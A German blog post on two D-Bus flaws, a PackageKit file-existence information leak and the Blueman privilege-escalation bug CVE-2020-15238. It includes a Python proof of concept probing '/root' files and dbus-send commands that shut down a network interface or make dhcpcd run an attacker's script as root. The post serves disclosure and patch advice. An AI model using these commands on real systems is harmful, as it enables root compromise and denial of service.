D-BUS: Schwachstellen mit Blueman und PackageKit

Da weiß man gar nicht, wie man anfangen soll, aber .. am Anfang war … D-BUS 🙂  Im neuen Ubuntu 20 … UPDATE: FEDORA 31 & 32 AUCH BETROFFEN …  wurden einige SicherheitslĂŒcken gefunden, mit denen sich u.A. Dateien von Root finden lassen, auf die der Angreifer so gar nicht zugreifen könnte. Ob sich das nur auf Ubuntu bezieht, wird man sehen mĂŒssen.

D-BUS: Schwachstellen mit Blueman und PackageKit

Eine Information Disclosure Schwachstelle gibt es im Umgang mit D-BUS und PackageKit, so daß man als normaler angemeldeter Benutzer die Existenz von Dateien prĂŒfen kann, die eigentlich nur Root ĂŒberhaupt sehen könnte, bspw. alles was im /root/ Directory drin ist:

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

Möglich macht das eine mangelnde PrĂŒfung, ob der User ĂŒberhaupt autorisiert ist, diese Anfrage stellen zu dĂŒrfen.Es stellt sich raus, Fedora 31 und 32 sind auch von der Schwachstelle betroffen und so sieht das dann aus:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.MimeTypeNotSupported: MIME type ‚text/plain‘ not supported /root/.bashrc

Das ist die Antwort fĂŒr eine Datei, die vorhanden ist. Nachfolgend der gleiche Ablauf fĂŒr eine Datei, die nicht vorhanden ist:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc333“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.NoSuchFile: No such file /root/.bashrc333

Beurteilung:

  • – Man muß auf dem System als Benutzer angemeldet sein.
  • – Man muß sich mĂŒhseelig jede Datei einzeln vornehmen, was sich etwas automatisieren lĂ€ĂŸt, also schon wissen, was man sucht.
    – Man kann nicht auf den Inhalt schliessen.
  • – Es lĂ€ĂŸt sich so aber einfach feststellen, ob bestimmte Software installiert ist.

Ich halte die LĂŒcke fĂŒr nicht ganz so gravierend, man sollte sie aber schliessen. Bugreport an Fedora ist raus.

Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)

Die Blueman LĂŒcke ist deutlich schlimmer, da man darĂŒber Befehle ausfĂŒhren kann. Das lĂ€ĂŸt sich zudem trivial ausnutzen:

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

ens33 ist das Netzwerkinterface. Funktionieren tut das aber nur dann, wenn auch der dhcpcd installiert ist, was nicht zwangsweise so sein muß. Der Fedora Default ist der dh_client, der so scharf kontrolliert, was man ihm da ĂŒber den D-BUS ĂŒbergibt, daß man diese LĂŒcke nur fĂŒr einen DOS, aber nicht fĂŒr die Local Privilege Escalation Attacke ausnutzen kann. Die wĂŒrde so funktionieren:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/bashscript"

Also vorher ein Script anlegen, daß root dann ausfĂŒhren darf => GGS .. Ganz Große Scheiße!

Wenn Ihr also Blueman und Ubuntu 20 benutzt, dann sorgt doch mal fĂŒr ein paar Updates auf Eurem System 😉